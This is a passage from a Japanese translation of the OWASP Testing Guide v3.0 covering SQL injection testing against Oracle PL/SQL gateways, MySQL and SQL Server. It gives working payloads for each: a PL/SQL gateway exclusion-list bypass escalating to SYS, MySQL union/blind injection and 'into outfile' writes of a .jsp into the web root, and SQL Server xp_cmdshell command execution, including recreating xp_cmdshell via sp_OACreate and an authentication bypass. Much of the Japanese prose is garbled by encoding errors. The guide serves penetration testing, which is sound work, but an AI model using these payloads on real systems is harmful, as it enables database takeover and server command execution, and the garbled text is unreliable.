18 simple_list__(7) := 'htf.%';<br />

19 if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then<br />

20 rc__ := 2;<br />

21 else<br />

22 null;<br />

23 orasso.wpg_session.init();<br />

24 inject'point;<br />

..<br />

228


<strong>OWASP</strong> Testing Guide v3.0<br />

これは、ウョールギにウョーを 生 成 します8“PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the<br />

following. . .” ここに 任 意 の SQL を 注 入 する 手 段 があります。これで 除 外 ヨシトを 迂 回 できる 可 能 性 があります。 最 初 に 攻 撃<br />

者 は、パョミーソを 持 たず、 除 外 ヨシトに 一 致 しない PL/SQL プルサーザメを 見 つける 必 要 があります。この 条 件 に 一 致 する<br />

デフェラトのパックーザはたくさんあり、 例 えば8<br />

JAVA_AUTONOMOUS_TRANSACTION.PUSH<br />

XMLGEN.USELOWERCASETAGNAMES<br />

PORTAL.WWV_HTP.CENTERCLOSE<br />

ORASSO.HOME<br />

WWC_VERSION.GET_HTTP_DATABASE_INFO<br />

これらから 実 際 に 存 在 するもの(すなわわち、ヨキウシトに 200 OK を 返 すもの'を 一 つ 選遥 択 し、 攻 撃 者 がヨキウシトすると8<br />

http://server.example.com/pls/dad/orasso.home?FOO=BAR<br />

コーバは、「404 File Not Found」の 応 答 を 返 します。 何 故 なら、orasso.home プルサーザメは 与 えられているパョミーソを 必<br />

要 としないからです。しかし、404 を 返 す 前 に 以 下 の PL/SQL を 実 行 します8<br />

..<br />

..<br />

if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then<br />

rc__ := 2;<br />

else<br />

null;<br />

orasso.wpg_session.init();<br />

orasso.home(FOO=>:FOO);<br />

..<br />

..<br />

FOO が 攻 撃 者 のキウヨ 文 字 に 中 に 存 在 します。これを 任 意 の SQL を 実 行 するために 悪 用 します。 最 初 に 括 弧 を 閉 じる 必 要<br />

があります8<br />

http://server.example.com/pls/dad/orasso.home?);--=BAR<br />

この 結 果 は、 以 下 のような PL/SQL を 実 行 します8<br />

..<br />

orasso.home();--=>:);--);<br />

..<br />

2 つのボイナシ(--' 以 降 のすべてのものはケミヱトとして 扱 わわれます。このヨキウシトは、バイヱド 変 数 の 一 つが 使 わわれていな<br />

いため、 内 部邪 コーバウョーを 引 き 起 こします。ゆえに 攻 撃 者 はそれを 加 えてやる 必 要 があります。 任 意 の PL/SQL を 実 行 さ<br />

せるための 鍵 となるのがこのバイヱド 変 数 です。ここでは、HTP.PRINT を BAR をプヨヱトするために 使 います。そして、 必 要 と<br />

なるバイヱド 変 数 は「:1」です8<br />

http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR<br />

これは、「BAR」という 単 語 の HTML を 200 で 返 すでしょう。イケーラ 記 号 の 後 のすべてで 何 が 起 こっているでしょう - ここでは<br />

BAR です - バイヱド 変 数 にデーソが 挿 入 されます。 同 じ 方 法 を 使 って、owa_util.cellsprint にも 同 じようにアキスシすることが<br />

できます8<br />

http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--<br />

=SELECT+USERNAME+FROM+ALL_USERS<br />

任 意 の SQL を 実 行 するために DML と DDL 文 を 使 い、 攻 撃 者 は、「execute immediate :1」を 挿 入 します8<br />

229


http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--<br />

=select%201%20from%20dual<br />

注 意 すべきことは、 出 力 は 表 示 されないということです。これは、SYS が 持 つあらゆる PL/SQL イヱザェキサュヱを 攻 略 すること<br />

に 利 用 でき、ひいては、 攻 撃 者 にバッキウヱドのデーソプーシコーバを 完媍 全 に 制 御 することを 可 能 にします。 例 えば、 以 下<br />

の URL では DBMS_EXPORT_EXTENSION の SQL イヱザェキサュヱの 不 具 合 を 利 用 しています( 参 照 8<br />

http://secunia.com/advisories/19860)<br />

http://www.example.com/pls/dad/orasso.home?);<br />

execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20<br />

BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES<br />

('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);<br />

EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20<br />

PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';<br />

END;--','SYS',1,'VER',0);END;<br />

カスタマ PL/SQL ウェブアプリクーシュンヱの 評 価<br />

ブョッキペッキシのスカャヨティ 評 価 において、ォシソマ PL/SQL アプヨクーサュヱのケードは 利 用 できません。しかし、 脆 弱 性<br />

の 評 価 は 必 要 です。<br />

SQL アンヱジェクシュンヱのテステ<br />

すべての 入 力 パョミーソは SQL イヱザェキサュヱのテシトが 行 わわれるべきです。これらは 簡 単 に 見 つけ、 確 認 することができ<br />

ます。それらを 発 見 するにはサヱギラキエートをパョミーソに 埋 め 込 みウョー 応 答 (404 Not Found を 含 む'を 確 認 します。<br />

SQL イヱザェキサュヱの 存 在 を 確 認 するには、 文 字 列 連連 結 の 演 算 子婡 を 使 って 行 うことができます。 例 えば、 本 屋 の PL/SQL ウ<br />

ェブアプヨクーサュヱで、ヤーゴが 著 者 で 本 を 検 索 できると 仮 定 します8<br />

http://www.example.com/pls/bookstore/books.search?author=DICKENS<br />

もし、 上 記 ヨキウシトで Charles Dickens の 本 を 返 し、<br />

http://www.example.com/pls/bookstore/books.search?author=DICK'ENS<br />

上 記 ヨキウシトでは、404 ウョーを 返 すのであれば、SQL イヱザェキサュヱの 脆 弱 性 があるかも 知 れません。これは、 文 字 列 連連<br />

結 の 演 算 子婡 を 使 って 確 認 できます8<br />

http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS<br />

ここで 再 度 Charles Dickens の 本 が 返 ってきたら、SQL イヱザェキサュヱの 存 在 を 確 認 できました。<br />

関 連 資 料<br />

ホワロアテペーパー<br />

Hackproofing Oracle Application Server - http://www.ngssoftware.com/papers/hpoas.pdf<br />

Oracle PL/SQL Injection - http://www.databasesecurity.com/oracle/oracle-plsql-2.pdf<br />

ヂール<br />

<br />

<br />

<br />

SQLInjector - http://www.databasesecurity.com/sql-injector.htm<br />

Orascan (Oracle Web Application VA scanner) - http://www.ngssoftware.com/products/internet-security/orascan.php<br />

NGSSQuirreL (Oracle RDBMS VA Scanner) - http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php<br />

230


<strong>OWASP</strong> Testing Guide v3.0<br />

4.8.5.2 MYSQL のテステ<br />

脆 弱 性 の 概 要<br />

SQL イヱザェキサュヱは、 適遚 切 な 制 約 やコニソイジをしていない 入 力 が SQL キウヨの 組 み 立 てに 使 わわれる 場 合 に 起 こります。<br />

ゾイナポッキ SQL( 文 字 列 の 結 合 による SQL キウヨの 組 み 立 て'の 使 用 は、これらの 脆 弱 性 へのドアを 開 けます。SQL イヱザェ<br />

キサュヱは、 攻 撃 者 に SQL コーバへのアキスシを 許 します。SQL イヱザェキサュヱは、デーソプーシへの 接 続 に 使 わわれている<br />

ヤーゴの 権 限 で SQL ケードの 実 行 を 許 します。<br />

MySQL サーバはいくつか 特 殊 性 をもっており、いくつかの 攻 略 コードはこのアプリケーション 用 に 特 別 にカスタ<br />

マイズする 必 要 があります。それがこのセクションのテーマです。<br />

ブラチクボチクステステとその 例<br />

テステ 方 法<br />

バッキウヱドの DBMS が MySQL で SQL イヱザェキサュヱが 見 つかった 場 合 、 成 功 する 可 能 性 がある 攻 撃 が 多 数 ありますが、<br />

成 功 するかどうかは、MySQL のバーザュヱや DBMS 上 のヤーゴ 権 限 に 依 存 します。<br />

MySQL は、ワローラドワロイドで 使 わわれているバーザュヱは 少 なくとも 4 つあります。3.23.x、4.0.x、4.1.x、5.0.x.。いずれのバーザ<br />

ュヱもバーザュヱ 番 号 に 比 例 した 機 能 のスットを 持 っています。<br />

• バーザュヱ 4.0 から8UNION<br />

• バーザュヱ 4.1 から8コブキウヨ<br />

• バーザュヱ 5.0 から8シトアドプルサーザメ、シトアド 関 数 、INFORMATION_SCHEMA ビャー<br />

• バーザュヱ 5.0.2 から8トヨオー<br />

MySQL バーザュヱ 4.0.x より 前 は、コブキウヨや UNION 文 が 実 装 されていないため、ブーヨアヱ、あるいは、ソイマプーシの<br />

ブョイヱドイヱザェキサュヱのみが 使 えます。<br />

これ 以 降 、SQL イヱザェキサュヱのテシトの 章 で 示 したようなキョサッキな SQL イヱザェキサュヱがあると 仮 定 します。<br />

http://www.example.com/page.php?id=2<br />

シンヱギルクオーテの 問 題<br />

MySQL の 機 能 を 利 用 する 前 に、ウェブアプヨクーサュヱは 頻 繁 にサヱギラキエートをウシクープするため、 文 字 列 がシテート<br />

ミヱトでどのように 表 現 されるか 考 える 必 要 があります。<br />

MySQL のキエートのウシクープは 次 のとおりです8<br />

'A string with \'quotes\''<br />

MySQL はウシクープされたアホシトルフィ(\''をミソ 文 字 ではなく、 文 字 として 解 釈 します。<br />

したがって、アプヨクーサュヱが 正 しく 動 作 するためには、 定 数 を 使 う 必 要 があります。2 つのクーシは 区 別 されます8<br />

231


1. ウェブアプヨはサヱギラキエートをウシクープします(' →⃙ \''<br />

2. ウェブアプヨはウシクープされたサヱギラキエートをウシクープしません(' →⃙ ''<br />

MySQL では、サヱギラキエートが 必 要 となることを 迂 回 する 標 準 的 な 方 法 があり、サヱギラキエートが 必 要 ない 定 数 を 持 ちま<br />

す。<br />

password like 'A%'のような 条 件 のリケードにおいて、'passowrd'フィーラドの 値 を 知 りたいと 仮 定 しましょう。<br />

1. 16 進逭 数 で 結 合 されたアシカー 値 8<br />

password LIKE 0x4125<br />

2. char() 関 数 8<br />

password LIKE CHAR(65,37)<br />

複 文 クエリ:<br />

MySQL ョイブョヨケネキソは、「;」で 区 切 られた 複 文 キウヨをコホートしていません。したがって、Microsoft SQL Server に 存 在<br />

するような、 一 つの SQL イヱザェキサュヱの 脆 弱 性 で 2 つの SQL ケボヱドを 注 入 することはできません。<br />

例 えば、 以 下 のイヱザェキサュヱはウョーになります8<br />

1 ; update tablename set code='javascript code' where 1 --<br />

情 報 収 集<br />

MySQL のファンヱガープリンヱテ<br />

もちろん、 最 初 に 知 るべきことは、バッキウヱドの DBMS が MySQL であるかどうかです。<br />

MySQL コーバは、 他 の DBMS では 無 視 される 節 となる MySQL の 方 言 となる 機 能 を 持 っています。ケミヱトブルッキ('/**/''<br />

に 感 嘆 符 を 含 む 場 合 ('/*! sql here*/''MySQL では 処 理 されますが、 他 の DBMS では 通 常 のケミヱトブルッキとして 扱 わわれま<br />

す。これは[MySQL manual]で 説 明 されています。<br />

例 8<br />

1 /*! and 1=0 */<br />

予 期 する 結 果 :<br />

もし MySQL であれば、コメントブロック 内 の 節 は 処 理 されます。<br />

バージュンヱ<br />

この 情 報 を 取 得 する 3 つの 方 法 があります8<br />

1. ギルーバラ 変 数 を 使 う 場 合 @@version<br />

2. 関 数 を 使 う 場 合 [VERSION()]<br />

3. バーザュヱ 番 号 のフィヱオープヨヱトケミヱトを 使 う 場 合 /*!40110 and 1=0*/<br />

これは 次 の 意 味 になります8<br />

232


<strong>OWASP</strong> Testing Guide v3.0<br />

if(version >= 4.1.10)<br />

キウヨに'and 1=0'を 追 加 する<br />

結 果 が 同 じであるように、これらは 同 等 です。<br />

イヱバヱドのイヱザェキサュヱ8<br />

1 AND 1=0 UNION SELECT @@version /*<br />

推 測 のイヱザェキサュヱ8<br />

1 AND @@version like '4.0%'<br />

予 期 する 結 果 :<br />

このような 文 字 :5.0.22-log<br />

ロギアンヱヤーザ<br />

MySQL コーバには 2 種 類 のヤーゴがあります。<br />

1. [USER()]:MySQL コーバに 接 続 しているヤーゴ<br />

2. [CURRENT_USER()]:キウヨを 実 行 している 内 部邪 のヤーゴ<br />

1 と 2 には 少 し 遊 いがあります。<br />

主 な 遊 いの 1 つは、( 許 可 されていれば' 匿 名 ヤーゴが 適遚 当 な 名 前 を 使 って 接 続 できます。しかし、MySQL の 内 部邪 ヤーゴ<br />

は 空 の 名 前 ('''です。<br />

他 の 遊 いは、シトアドプルサーザメやシトアド 関 数 は、どこかで 宣 言 がされていなければ、 作 成 したヤーゴで 実 行 されます。<br />

これは、CURRENT_USER を 使 用 することで 知 ることができます。<br />

イヱバヱドのイヱザェキサュヱ8<br />

1 AND 1=0 UNION SELECT USER()<br />

推 測 のイヱザェキサュヱ8<br />

1 AND USER() like 'root%'<br />

予 期 する 結 果 :<br />

このような 文 字 :user@hostname<br />

使 用 しているデータベースの 名 前<br />

ネイティブの 関 数 DATABASE()があります。<br />

イヱバヱドのイヱザェキサュヱ8<br />

1 AND 1=0 UNION SELECT DATABASE()<br />

推 測 のイヱザェキサュヱ8<br />

1 AND DATABASE() like 'db%'<br />

233


予 期 する 結 果 :<br />

このような 文 字 :dbname<br />

INFORMATION_SCHEMA<br />

MySQL 5.0 より[INFORMATION_SCHEMA] ビャーが 作 られました。それは、デーソプーシ、テーブラ、ォョマやプルサーザメ、<br />

関 数 などすべての 情 報 を 取 得 することが 可 能 になります。<br />

ここにいくつかの 興 味 深 いビャーについてまとめます。<br />

INFORMATION_SCHEMA テーブル 内 概 要<br />

..[ 省 略 ].. ..[ 省 略 ]..<br />

SCHEMATA<br />

ヤーゴが 少 なくとも SELECT 権 限 を 持 っているすべてのデーソプーシ<br />

SCHEMA_PRIVILEGES<br />

各 DB に 対 してもっているヤーゴの 権 限<br />

TABLES<br />

ヤーゴが 少 なくとも SELECT 権 限 を 持 っているすべてのテーブラ<br />

TABLE_PRIVILEGES<br />

各 テーブラに 対 してもっているヤーゴの 権 限<br />

COLUMNS<br />

ヤーゴが 少 なくとも SELECT 権 限 を 持 っているすべてのォョマ<br />

COLUMN_PRIVILEGES<br />

各 ォョマに 対 してもっているヤーゴの 権 限<br />

VIEWS<br />

ヤーゴが 少 なくとも SELECT 権 限 を 持 っているすべてのォョマ<br />

ROUTINES<br />

プルサーザメと 関 数 (EXECUTE 権 限 が 必 要 '<br />

TRIGGERS<br />

トヨオー(INSERT 権 限 が 必 要 '<br />

USER_PRIVILEGES<br />

接 続 しているヤーゴが 持 っている 権 限<br />

この 情 報 のすべては SQL イヱザェキサュヱの 章 で 述 べた 既 知 のテキニッキを 使 って 抽 出 することができます。<br />

攻 撃 ベクタ<br />

ファアルに 書 き 出 す<br />

もし 接 続 しているヤーゴが FILE 権 限 を 持 っており、サヱギラキエートがウシクープされていない 場 合 、キウヨの 結 果 をファイ<br />

ラにウキシホートするために'into outfile'を 使 うことが 可 能 です。<br />

Select * from table into outfile '/tmp/file'<br />

注 意 8ファイラ 名 を 囲 んでいるサヱギラキエートを 迂 回 する 方 法 はありません。したがって、ウシクープ(\''などのサヱギラキ<br />

エートのコニソイジが 行 わわれている 場 合 は、'into outfile'を 使 うことはできません。<br />

234


<strong>OWASP</strong> Testing Guide v3.0<br />

このような 攻 撃 は、キウヨの 結 果 について 情 報 を 取 得 する 場 合 や、ウェブコーバのディリキトヨ 内 部邪 で 実 行 されるようなファイ<br />

ラを 書 き 出 すというようなアウトバヱドテキニッキとして 使 わわれます。<br />

例 8<br />

1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY<br />

'\n';<br />

予 期 する 結 果 :<br />

結 果 は、MySQL ユーザとグループが 所 有 する rw-rw-rw 権 限 のファイルが 保 存 されます。<br />

/var/www/root/test.jsp のファイルは 以 下 の 内 容 になります:<br />

//field values//<br />

<br />

ファアルから 読 み 出 す<br />

Load_file はネイティブの 関 数 で、ファイラサシテマのパーポッサュヱが 許 可 すれば、ファイラを 読 むことが 可 能 です。<br />

もし 接 続 しているヤーゴが FILE 権 限 を 持 っている 場 合 、ファイラの 内 容 を 取 得 することが 可 能 です。<br />

サヱギラキエートのウシクープによるコニソイジは、 既 に 述 べたテキニッキを 使 うことで 迂 回 できます。<br />

load_file('filename')<br />

予 期 する 結 果 :<br />

標 準 的 なテクニックを 使 って、ファイル 全 体 をエクスポートすることが 可 能 です。<br />

標 準 的 な SQL アンヱジェクシュンヱ 攻 撃<br />

標 準 的 な SQL イヱザェキサュヱにおいて、 正 常 出 力 や MySQL ウョーの 結 果 をヘーザに 直 接 表 示 することができます。 既 に<br />

述 べた SQL イヱザェキサュヱ 攻 撃 と 既 に 述 べた MySQL の 機 能 を 使 うことによって、ゾイリキト SQL イヱザェキサュヱがテシソー<br />

の 対 峙 している MySQL のバーザュヱに 応 じたリプラの 深 さで 容 易 に 成 功 させることができます。<br />

よい 攻 撃 は、 関 数 /プルサーザメ、コーバ 自 体 にウョーを 起 こさせることで 結 果 を 知 ることです。MySQL で 発 生 するウョーの<br />

ヨシトと 特牐 有 のネイティブ 関 数 は[MySQL Manual]で 見 つかります。<br />

アウテバンヱデの SQL アンヱジェクシュンヱ<br />

アウトバヱドのイヱザェキサュヱは、'into outfile'を 使 うことで 可 能 になります。<br />

ブラアデ SQL アンヱジェクシュンヱ<br />

ブョイド SQL イヱザェキサュヱのための MySQL コーバがネイティブで 提 供 する 便 利 な 関 数 群 があります。<br />

• 文 字 列 の 長 さ8<br />

LENGTH(str)<br />

• 文 字 列 から 一 部邪 を 取 り 出 す8<br />

SUBSTRING(string, offset, #chars_returned)<br />

• ソイマプーシのブョイドイヱザェキサュヱ:BENCHMARK と SLEEP<br />

235


BENCHMARK(#ofcicles,action_to_be_performed )<br />

プヱタボーキ 関 数 は、ブーヨアヱによるブョイドイヱザェキサュヱが 何 も 結 果 を 返 さない 場 合 に、ソイポヱギ 攻 撃 を 実 行 するの<br />

に 使 わわれます。<br />

他 のプヱタボーキの 方 法 は、SLEEP() (MySQL > 5.0.x) を 見 て 下 さい。<br />

全 ヨシトについては、MySQL ボニャアラを 参 照 ください - http://dev.mysql.com/doc/refman/5.0/en/functions.html<br />

関 連 資 料<br />

ホワロアテペーパー<br />

Chris Anley: "Hackproofing MySQL" -http://www.nextgenss.com/papers/HackproofingMySQL.pdf<br />

Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt<br />

ヂール<br />

<br />

<br />

<br />

<br />

Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm<br />

ilo--: MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools<br />

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz<br />

4.8.5.3 SQL SERVER のテステ<br />

概 要<br />

この 章 では、SQL イヱザェキサュヱのテキニッキで 使 わわれる Microsoft SQL Sever 特牐 有 の 機 能 について 紹 介 します。<br />

脆 弱 性 の 解 説<br />

SQL イヱザェキサュヱの 脆 弱 性 は、 適遚 切 な 制 約 やコニソイジをしていない 入 力 が SQL キウヨの 組 み 立 てに 使 わわれる 場 合 に 起<br />

こります。ゾイナポッキ SQL( 文 字 列 の 結 合 による SQL キウヨの 組 み 立 て'の 使 用 は、これらの 脆 弱 性 へのドアを 開 けます。<br />

SQL イヱザェキサュヱは、 攻 撃 者 に SQL コーバへのアキスシを 許 します。SQL イヱザェキサュヱは、デーソプーシへの 接 続 に<br />

使 わわれているヤーゴの 権 限 で SQL ケードの 実 行 を 許 します。<br />

SQL イヱザェキサュヱで 説 明 したように、SQL イヱザェキサュヱの 攻 略 には 2 つのことが 必 要 です8ウヱトヨホイヱトと 攻 略 方 法<br />

です。アプヨクーサュヱによって 処 理 されるであろう、ヤーゴに 制 御 されたパョミーソは 脆 弱 性 を 隠 しているかも 知 れません。<br />

これには 次 のものが 含 まれます8<br />

• キウヨ 文 字 列 内 のアプヨクーサュヱパョミーソ( 例 8GET ヨキウシト'<br />

• POST ヨキウシトのペディの 一 部邪 として 含 まれるアプヨクーサュヱパョミーソ<br />

• ブョウゴに 関 連連 する 情 報 ( 例 8ヤーゴウーザェヱト、ヨファョー'<br />

• ベシトに 関 連連 する 情 報 ( 例 8ベシト 名 、IP'<br />

236


<strong>OWASP</strong> Testing Guide v3.0<br />

• スッサュヱに 関 連連 する 情 報 ( 例 8ヤーゴ ID、Cookie'<br />

Microsoft SQL server はいくつか 特牐 殊 性 をもっており、いくつかの 攻 略 ケードはこのアプヨクーサュヱ 用 に 特牐 別 にォシソボイジ<br />

する 必 要 があります。<br />

ブラチクボチクステステとその 例<br />

SQL Server の 特 徴<br />

始妵 めに、SQL イヱザェキサュヱのテシトに 便 利 となるいくつかの SQL Server の 演 算 子婡 やケボヱド、シトアドプルサーザメを 確 認<br />

しましょう8<br />

• ケミヱト 演 算 子婡 8--(エヨザナラキウヨの 残 りの 部邪 分 を 無 視 させる 場 合 に 便 利 9これはいつも 必 要 になる 訳 ではありま<br />

せん。'<br />

• キウヨの 区 切 り8;(スポケルヱ'<br />

• 便 利 なシトアドプルサーザメ8<br />

o<br />

o<br />

o<br />

o<br />

o<br />

[xp_cmdshell] は、コーバ 上 で 現 在 稼 動 している 権 限 でケボヱドサェラを 実 行 します。デフェラトでは、<br />

sysadmin のみがそれを 使 うことが 許 されています。SQL Server 2005 ではデフェラトで 無 効 化 されていま<br />

す(sp_configure を 使 って 有 効 化 することができます'。<br />

xp_regread はリザシトヨから 任 意 の 値 を 読 み 出 します(ドカャミヱトに 書 かれていない 拡 張 プルサーザメ'。<br />

xp_regwrite はリザシトヨに 任 意 の 値 を 書 き 込 みます(ドカャミヱトに 書 かれていない 拡 張 プルサーザメ'。<br />

[sp_makewebtask]は、Windows のケボヱドサェラを 起 動 し、 文 字 列 を 渡 して 実 行 します。すべての 出 力 は<br />

テカシト 行 で 戻 ります。sysadmin 権 限 が 必 要 になります。<br />

[xp_sendmail]は、 添 付 ファイラにキウヨの 実 行 結 果 を 添 付 して、 指 定 した 受 信 者 に 電 子婡 ミーラを 送 信 しま<br />

す。この 拡 張 シトアドプルサーザメは、ミーラの 送 信 に SQL Mail を 使 います。<br />

それでは、 前 述 の 関 数 を 使 用 した SQL Server 特牐 有 の 攻 撃 の 例 をいくつか 見 ていきましょう。これらの 例 の 大 部邪 分 は exec 関<br />

数 を 使 用 します。<br />

以 下 は、どのようにしてサェラケボヱドを 実 行 し、ケボヱドの 結 果 を 閲 覧 可 能 なファイラと c:\inetpub ディリキトヨに 書 き 込 む<br />

かについて 示 したものです。ここで、ウェブコーバと DB コーバは 同 じベシト 上 にあると 仮 定 します。 以 下 の 構 文 は<br />

xp_cmdshell を 使 っています8<br />

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--<br />

代 わわりに sp_makewebtask を 使 うことも 可 能 です8<br />

exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--<br />

実 行 が 成 功 するとテシソーが 閲 覧 可 能 なファイラが 生 成 されます。sp_makewebtask は 廃 止 予 定 であり、SQL Server 2005<br />

までは 実 行 できたとしても 将 来 的 には 削 除 されるかも 知 れない、ということに 気 をつけなければなりません。<br />

237


加 えて、SQL Server のビラトイヱの 関 数 と 環 境 変 数 はとても 便 利 です。 以 下 は、デーソプーシ 名 を 返 すウョーを 起 こすため<br />

に db_name() 関 数 を 使 っています。<br />

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())<br />

[convert]を 使 っていることに 注 意 してください8<br />

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )<br />

CONVERT は、db_name の 結 果 ( 文 字 列 'を 整 数 の 変 数 に 変 換 することを 試 み、ウョーを 起 こし、 脆 弱 なアプヨクーサュヱに<br />

よって、デーソプーシ 名 を 含 んだウョーが 表 示 されます。<br />

以 下 は、 環 境 変 数 の@@version を 使 った 例 で、SQL Server のバーザュヱを 知 るために、"union select"シソイラのイヱザェキ<br />

サュヱと 組 み 合 わわせています。<br />

/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-<br />

01-06,1,@@version%20--<br />

変 換 のトヨッキを 使 った 同 様 の 攻 撃 がここにあります8<br />

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)<br />

情 報 収 集 は SQL Server にあるセフトウェアの 脆 弱 性 を SQL イヱザェキサュヱ 攻 撃 や SQL ヨシナーへの 直 接 アキスシによって<br />

攻 略 するために 便 利 です。<br />

以 下 では、 異 なったウヱトヨホイヱトから SQL イヱザェキサュヱの 脆 弱 性 を 攻 略 する 例 をお 見 せします。<br />

例 1: GET リクエステを 使 った SQL アンヱジェクシュンヱのテステ<br />

もっともサヱプラな(そして 時 々、もっとも 得 をする'クーシとして、ルギイヱ 用 のヤーゴ 名 とパシワロードを 必 要 とするルギイヱヘ<br />

ーザです8<br />

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1<br />

もしアプヨクーサュヱがゾイナポッキ SQL キウヨを 使 っており、ヤーゴ 認 証 のキウヨに 文 字 列 を 結 合 する 場 合 、 結 果 としてアプ<br />

ヨクーサュヱへのルギイヱに 成 功 するでしょう。<br />

例 2: GET リクエステを 使 った SQL アンヱジェクシュンヱのテステ<br />

いくつ 列 が 存 在 するか 調 べるために8<br />

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201、1、'a'、1、1、1%20FROM%20users;-<br />

-<br />

例 3: POST リクエステを 使 ったテステ<br />

SQL イヱザェキサュヱ、HTTP POST ケヱテヱツ: email=%27&whichSubmit=submit&submit.x=0&submit.y=0<br />

完媍 全 な POST の 例 8<br />

POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1<br />

Host: vulnerable.web.app<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909<br />

Firefox/1.5.0.7 Paros/3.2.13<br />

238


<strong>OWASP</strong> Testing Guide v3.0<br />

Accept:<br />

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*<br />

;q=0.5<br />

Accept-Language: en-us,en;q=0.5<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Proxy-Connection: keep-alive<br />

Referer: http://vulnerable.web.app/forgotpass.asp<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-Length: 50<br />

email=%27&whichSubmit=submit&submit.x=0&submit.y=0<br />

'(サヱギラキエート'が email のフィーラドに 入 力 された 場 合 、ウョーミッスーザが 得 られます。<br />

The error message obtained when a ' (single quote) character is entered at the email field is:<br />

Microsoft OLE DB Provider for SQL Server error '80040e14'<br />

Unclosed quotation mark before the character string '.<br />

/forgotpass.asp, line 15<br />

例 4: その 他 の( 便 利 な)GET の 例<br />

アプヨクーサュヱのセーシケードを 取 得 する8<br />

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx<br />

c:\inetpub\wwwroot\login.txt';--<br />

例 5: カスタマの xp_cmdshell<br />

すべての 書 籍 やヘーパーでは、SQL Server のスカャヨティプシトプョキティシとして、SQL Server 2000(SQL Server 2005 では<br />

デフェラトで 無 効 化 されています'の xp_cmdshell を 無 効 化 することを 推 奨 しています。しかし、sysadmin の 権 限 があれば<br />

(そのままで、あるいは、 以 下 のように sysadmin のパシワロードをブラートフェーシすることで'、この 制 限 を 迂 回 することが 可<br />

能 です。<br />

SQL Server 2000 では8<br />

• もし、xp_cmdshell が sp_dropextendedproc によって 無 効 化 されている 場 合 、 単 純 に 以 下 のケードを 注 入 できま<br />

す8<br />

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'<br />

• もし 上 記 ケードが 動 作 しない 場 合 、xp_log70.dll が 移 動 されているか 削 除 されています。このクーシでは、 以 下 のケ<br />

ードを 注 入 する 必 要 があります8<br />

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS<br />

DECLARE @result int, @OLEResult int, @RunResult int<br />

DECLARE @ShellID int<br />

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT<br />

IF @OLEResult 0 SELECT @result = @OLEResult<br />

IF @OLEResult 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)<br />

EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait<br />

IF @OLEResult 0 SELECT @result = @OLEResult<br />

239


IF @OLEResult 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)<br />

EXECUTE @OLEResult = sp_OADestroy @ShellID<br />

return @result<br />

このケードは Antonin Foller によって 書 かれました(このヘーザの 最 後 のヨヱキを 見 てください'。 新 しい xp_cmdshell を<br />

sp_oacreate、sp_method、sp_destroy を 使 って(もちろん、これらが 無 効 化 されていない 限 り' 作 成 し、それを 使 う 前 に、 最 初<br />

の xp_cmdshell を 削 除 する 必 要 があります( 動 作 していなかったとしても'。そうしなければ、2 つの 宣 言 が 重 複 します。<br />

SQL Server 2005 では、xp_cmdshell は 下 記 のケード 注 入 することで 有 効 化 することができます8<br />

master..sp_configure 'show advanced options',1<br />

reconfigure<br />

master..sp_configure 'xp_cmdshell',1<br />

reconfigure<br />

例 6: リファラ / ヤーザエージェンヱテ<br />

ヨファョブッゾを 次 のようにスットします8<br />

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--<br />

任 意 の SQL ケードの 実 行 を 許 します。ヤーゴウーザェヱトブッゾにスットすることで、 同 様 のことが 起 こります8<br />

User-Agent: user_agent', 'some_ip'); [SQL CODE]--<br />

例 7: ポーテスキメトとしての SQL Server<br />

SQL Server において、もっとも 便 利 な( 少 なくとも 侵 入 テシソーにとって'ケボヱドの 一 つは、OPENROWSET です。それは、キ<br />

